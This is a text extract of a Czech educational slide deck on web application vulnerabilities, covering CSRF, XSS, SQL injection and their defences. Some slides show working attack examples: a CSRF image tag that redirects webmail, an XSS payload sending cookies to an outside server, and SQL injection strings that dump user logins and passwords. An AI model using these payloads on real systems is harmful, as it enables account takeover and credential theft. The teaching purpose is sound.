+ All Categories
Home > Documents > Vlastimil Pe čínka, Seznam.cz Roman Kümmel,...

Vlastimil Pe čínka, Seznam.cz Roman Kümmel,...

Date post: 22-Nov-2020
Category:
Upload: others
View: 0 times
Download: 0 times
Share this document with a friend
36
Zranitelnosti webových aplikací Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz
Transcript
Page 1: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Zranitelnosti webových aplikací

Vlastimil Pečínka, Seznam.czRoman Kümmel, Soom.cz

Page 2: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Terminologie

• Zranitelnost (vulnerability)– Slabina, která umožní utočníkovi snížit/obejít

ochranu dat a informací– Security bug je užší vnímání zranitelnosti; existují

non-SW zranitelnosti (HW, zaměstnanci, …)non-SW zranitelnosti (HW, zaměstnanci, …)

• Exploit– V informatice program nebo sekvence příkazů, které

využívají zranitelnosti a umožňují tak získat nějaký prospěch

Page 3: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Webové zranitelnosti

XSSCross-site scripting

Využití d ůvěry uživatele v server

CSRFCross-site request forgery

Využití d ůvěry serveru v software uživatele

Page 4: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Webové zranitelnosti

HTTP header injection

Využití vlastností HTTP protokolu v kombinaci s neošet řeným p ředávaným vstupem od uživatele v vstupem od uživatele v hlavi čkách

SQL injectionVyužití mezery v zabezpe čení na

úrovni databázové vrstvy aplikace

Page 5: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

CSRF

Svět webových zranitelností

Prom ěnnáCSS Flash

SQLiRFI LFI

CRLF

FPD

CSRF

Persistent

XSS

Non-Persistent

DOM based

SQL injection

HTTP injection

Same originpolicy

NOSCRIPT

Contentsecuritypolicy

HTTP only cookies

IE XSS filter

Page 6: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Praktická ukázka

Roman KümmelRoman Kümmelhttp://www.soom.cz

Page 7: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Praktická ukázka

Zranitelná webová aplikace

Page 8: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Cross Site Request Forgery (CSRF)

• Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem

• Každý uživatel je na serveru identifikován• Každý uživatel může provádět změny pouze ve • Každý uživatel může provádět změny pouze ve

svém vlastním účtu

http://webmail.cz/[email protected]

Page 9: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Cross Site Request Forgery (CSRF)

• Nikdo střízlivý nedá vědomě serveru povel na přesměrování pošty na účet útočníka

• Cílem útočníka je přimět uživatele k jeho odeslání

http://webmail.cz/[email protected]

Page 10: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Nazdar Pepo,nechceš zítra zajít na pivo?

Lojza

Útok (CSRF)

Lojza

<img src=“http://webmail.cz/[email protected] “>

http://webmail.cz/[email protected]

Page 11: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Útok (CSRF)

X

Page 12: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Obrana (CSRF)

• Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem

• Každý uživatel je na serveru identifikován• Každý uživatel může provádět změny pouze ve • Každý uživatel může provádět změny pouze ve

svém vlastním účtu

[email protected]&hash=a5dd78e

hash=a5dd78e

Page 13: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

CSRF : XSS

• Zjištění hodnoty lístku pomocí XSS

Page 14: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Cross Site Scripting (XSS)

• Skripty mohou přistupovat pouze k objektům ze stejné domény ( Same Origin Policy )

• Pokud existuje chyba v zabezpečení, je možné injektovat skript do html dokumentu z dané domény

– Perzistentní (trvalé)– Non-perzistentní (reflektované)

Page 15: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Non-perzistetní XSS

• Odeslání požadavku webovým vyhledávačem

http://webmail.cz/search.php?query=slunce

• Odpověď vrácená prohlížečem

Na váš dotaz slunce nebyl nalezen žádný výsledek

Page 16: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Non-perzistetní XSS

• Odeslání požadavku webovým vyhledávačem

http://webmail.cz/search.php?query=<script>alert(1)</script>

• Zobrazení odpovědi vede ke spuštění skriptu

Na váš dotaz <script>alert(1)</script> nebyl nazezen žádný výsledek

Page 17: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Možné cíle útoku (XSS)

• Krádež cookies• Přesměrování uživatelů na jiné webové stránky• Defacement webové stránky• Automatické odesílání CSRF požadavků• Automatické odesílání CSRF požadavků• Změna atributu action u přihlašovacích formulářů• Odposlouchávání stisknutých kláves• Průzkum vnitřní sítě• Backdoor s obousměrnou komunikací• Mnoho dalších variant útoku

Page 18: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Nazdar Pepo,nechceš zítra zajít na pivo?

Lojza

<a href=‘http://webmail.cz/search.php?query=%3Cscript%3Ei%3D

Cookie stealing (XSS)

<a href=‘http://webmail.cz/search.php?query=%3Cscript%3Ei%3Ddocument.createElement%28%22img%22%29%3B+i.src%3D%22http%3A%2F%2Fmyserver.cz%3Fsavecook%3D%22%252Bdocument.cookie%3B%3C%2Fscript%3E‘>Super odkaz </a>

<script>i=document.createElement("img");i.src=http://myserver.cz?savecook=+document.cookie;

</script>

Page 19: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Cookie stealing (XSS)

Page 20: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Obrana (XSS)

• Nahrazení nebezpečných znaků HTML entitami

< &lg; > &gt; “ &quot; ‘ &#39; & &amp;

• Nebezpečnost znaků záleží na kontextu v jakém jsou použity- <p>Toto je tvůj vstup: <script>alert(1)</script></p>- <input type=“text“ value=““ onfocus=“alert(1)“>

• Pozor na Javascript: a Data: URL v odkazech- <a href=“javascript:alert(1)“>odkaz</a>

Page 21: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Obrana (XSS)

• Uživatelský vstup kontrolovat podle bílých seznamů

Co není povoleno, je zakázáno !

Page 22: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

SQL injection

Zmanipulování dotazu do databáze

SELECT jablka FROM stromSELECT jablka FROM strom

SELECT hrušky FROM obchod

Page 23: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

SQL injection

pepa

pass123

$sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')";$res = mysql_query($sql);

SELECT * FROM users WHERE (login = 'pepa ') and (heslo = 'pass123 ')

PH

PS

QL

pepa

Page 24: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Útok SQL injection

pepa

' OR '1' = '1

pepa

$sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')";$res = mysql_query($sql);

SELECT * FROM users WHERE (login = 'pepa ') and (heslo = '' OR '1' = '1 ')

PH

PS

QL

Page 25: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

SQL injectionP

HP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser ";

$res = mysql_query($sql);

SELECT * FROM messages WHERE idprijemce = 11614

PH

PS

QL

Page 26: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Útok SQL injectionP

HP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser ";

$res = mysql_query($sql);

SELECT * FROM messages WHERE idprijemce = -1 or 1=1

PH

PS

QL

Page 27: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

• Zjištění počtu sloupců tabulky v původním dotazu

• Zjištění zobrazených polí

• Zjištění názvu databáze

Útok SQL injection

iduser=-1 union all select 1,2,3,4—

• Zjištění názvů tabulek a sloupců

• Výpis obsahu tabulky USERSiduser=-1 union all select 1,nick,login,heslo from users--

iduser=-1 union all select 1,2,3,database()—

iduser=-1 union all select 1,2,table_name,column_namefrom information_schema.columnswhere table_schema=database()—

SELECT *FROM messagesWHERE idprijemce = -1 order by 1 --

Page 28: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Obrana proti SQL injection

• Kontrola vstupu– Odstranění, zdvojení nebo escapování apostrofů– Číselné hodnoty ošetřit typovou konverzí– Výčtové vstupy kontrolovat na očekávané hodnoty– Výčtové vstupy kontrolovat na očekávané hodnoty– Využití parametrizovaných SQL dotazů– Využití uložených procedur

Page 29: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Injektáž skriptu na server

• Nezabezpečený upload

• Local File Inclusion (LFI)• Local File Inclusion (LFI)

• Remote File Inclusion (RFI)

Page 30: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

(ne) bezpečný Internet

Page 31: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Pomocníci v zabezpe čení

• Content Security Policy• Same origin policy• XSS filter v IE• HTTPonly cookies• HTTPonly cookies

Page 32: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Content security policy

• Pravidla zaměřená na potlačení především XSS• CSP umožňuje poskytovatelům definovat

pravidla, kterými se prohlížeč řídí• Pravidla se pro dokument v HTTP hlavičkách• Pravidla se pro dokument v HTTP hlavičkách• Možnost reportingu při porušení pravidel

– Browser „bonzuje“ pomocí JSON, co se stalo– Report-only mode (what-if scénáře)

X-Content-Security-Policy: allow 'self'; img-src *; \object-src media1.com media2.com *.cdn.com; \script-src trustedscripts.example.com

Page 33: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Same origin policy

• Koncept známý od doby Netscape Navigator 2.0• Pravidla povolují plný přístupu skriptů k funkcím

a proměnným ve stránkách ze stejných zdrojů (a naopak limitují přístup k datům jiných zdrojů)– Jiný hostname (i www.seznam.cz vs seznam.cz)– Jiný port (http://lide.cz vs http://lide.cz:81)– Jiný protokol (https://email.cz vs https://email.cz)

• Nejasně definované pro file:, data:, …• Jiné policy např. pro skripty z jiných domén

Page 34: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

IE XSS filter

• Vlastnost IE8, která ztěžuje tzv. reflected XSS• Filtr je komponenta, která je zapojena do všech

požadavků, které tečou skrze prohlížeč– Snaží se detekovat XSS a případně neutralizovat– Snaží se detekovat XSS a případně neutralizovat

Page 35: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

HTTPonly cookie

• Stále ve stádiu „draftu“ IETF, nicméně široce podporované v prohlížečích

• Cookie, které není přístupná skriptům na stránce, jen použita pro HTTP/HTTPS session

• Často použita v kombinaci s omezením přenášení po zabezpečeném spojení

Set-Cookie: SSID=Adsd4ddssTq; Domain=.seznam.cz; Pa th=/; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly

Page 36: Vlastimil Pe čínka, Seznam.cz Roman Kümmel, Soomi.iinfo.cz/urs-att/Zranitelnosti_webovych_aplikaci... · Terminologie • Zranitelnost (vulnerability) – Slabina, která umožní

Děkujeme za pozornost

Vlastimil Pečí[email protected]@firma.seznam.cz

Roman Kü[email protected]


Recommended